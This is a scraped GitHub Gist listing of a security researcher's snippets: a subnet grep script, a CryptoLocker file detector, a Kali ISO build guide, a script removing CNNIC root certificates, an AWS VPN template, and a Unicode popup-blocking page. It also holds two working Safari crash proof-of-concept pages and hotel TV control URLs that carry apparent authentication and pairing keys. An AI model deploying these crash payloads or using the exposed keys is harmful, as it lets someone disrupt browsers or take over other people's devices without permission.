Skip to content

Instantly share code, notes, and snippets.

Avatar

Jerry Gamblin jgamblin

View GitHub Profile
@jgamblin
jgamblin / grepips.py
Created May 20, 2015
Python script to grep homepages on a subnet and will report if text is found.
View grepips.py
#!/usr/bin/env python
# Name: grepips
# Purpose: #!/usr/bin/env python
# Name: grepips
# Purpose: grep a subnet and report if text is found.
# By: Jerry Gamblin
# Date: 20.05.15
# Modified 20.05.15
# Rev Level 0.1
## -----------------------------------------------
@jgamblin
jgamblin / noalert.html
Last active Aug 29, 2015
Evil Unicode Kills JavaScript PopUp
View noalert.html
<!DOCTYPE html>
<html>
<body>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" >
<TITLE>effective. Power لُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ 冗</TITLE>
</head>
<p>Evil Unicode Wont Allow Popup:</p>
View keybase.md

Keybase proof

I hereby claim:

  • I am jgamblin on github.
  • I am jgamblin (https://keybase.io/jgamblin) on keybase.
  • I have a public key whose fingerprint is 7FA0 DD59 A306 1072 E08C 814D C8CD 66A3 EFCE A51D

To claim this, I am signing this object:

@jgamblin
jgamblin / Kali 2.0 ISO Build
Created Aug 8, 2015
Build Your Own Kali 2.0 ISO
View Kali 2.0 ISO Build
##################################################################
Install live-build
##################################################################
sudo apt-get isntall live-build
##################################################################
Git clone the live-build configs
##################################################################
git clone git://git.kali.org/live-build-config.git
@jgamblin
jgamblin / Del_China_Gov_Certs_OSX.SH
Last active Oct 23, 2015
Del_China_Gov_Certs_OSX.SH
View Del_China_Gov_Certs_OSX.SH
#!/bin/bash
# Deletes CNNIC Root Certs from OSX 10.10.3
# WARNING: DO NOT RUN THIS UNLESS YOU KNOW WHAT YOU ARE DOING (BECAUSE I DONT)
# IT WILL PROBABLY INSTALL WINDOWS 98 ON YOUR MAC.
function remove {
echo "Removing ${1}"
sudo security delete-certificate -t -Z $2 /System/Library/Keychains/SystemRootCertificates.keychain
}
View Unified-Cloud-Formation-WithAutoUpdate.json
{
"AWSTemplateFormatVersion": "2010-09-09",
"Description": "Setting up your own private and secure VPN. You can read instructions on our blog https://www.webdigi.co.uk/blog/2015/how-to-setup-your-own-private-secure-free-vpn-on-the-amazon-aws-cloud-in-10-minutes/ and you can follow video instructions on Youtube https://www.youtube.com/watch?v=fBBERp5CUgo",
"Mappings": {
"AWSInstanceType2Arch": {
"High.Speed.VPN-Paid": {
"InstanceType": "t2.medium"
},
"Standard.VPN-Free": {
"InstanceType": "t2.micro"
@jgamblin
jgamblin / cfd.py
Created Dec 21, 2015
CryptoLocker File Detection Script
View cfd.py
import time
import sys
import os
from os import walk
files=[]
alphabet = 'CDEFGHIJKLMNOPQRSTUVWXYZ' #List of drives to search
alphabet = list(alphabet) #Turning above string into iterable list
StringMatch="zeug" #This is the magic string found in the file
log=open("Encrypted-log-%s.txt" % str(time.strftime("%d-%m-%H-%M")), 'ab', 0)
View crashsafari.html
<!DOCTYPE html>
<html>
<body>
<h1>Crash Safari</h1>
<script>
var total = "";
for( var i = 0; i < 100000; i++ ) {
total = total + i.toString();
history.pushState(0,0, total );
}
View crashsafari.html
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
</head>
<body>
<a href="#" ping="file://%00/%00/x">Crash Safari</a><script>document.querySelector('a').click();</script>
</body>
</html>
View gist:7b8ecf8a0544d3b70cc5e53fb7c77e50
TV Power:
https://rci.lodgenet.com/mobile.php?method=tvOff&api=1.5&authID=3a47aebdc1ce11e0be1c005056a60027&requestID=235431&pairingKey=cf60b769266077d5090e8e5f4f36ec7a
https://rci.lodgenet.com/mobile.php?method=tvOn&api=1.5&authID=3a47aebdc1ce11e0be1c005056a60027&requestID=235431&pairingKey=cf60b769266077d5090e8e5f4f36ec7a
Sound:
https://rci.lodgenet.com/mobile.php?method=tvVolume&api=1.5&authID=3a47aebdc1ce11e0be1c005056a60027&requestID=235431&pairingKey=cf60b769266077d5090e8e5f4f36ec7a&volumeLevel=0
https://rci.lodgenet.com/mobile.php?method=tvVolume&api=1.5&authID=3a47aebdc1ce11e0be1c005056a60027&requestID=235431&pairingKey=cf60b769266077d5090e8e5f4f36ec7a&volumeLevel=30
Change Channel:
https://rci.lodgenet.com/mobile.php?method=tuneTV&api=1.5&authID=3a47aebdc1ce11e0be1c005056a60027&requestID=235431&pairingKey=cf60b769266077d5090e8e5f4f36ec7a&channelID=8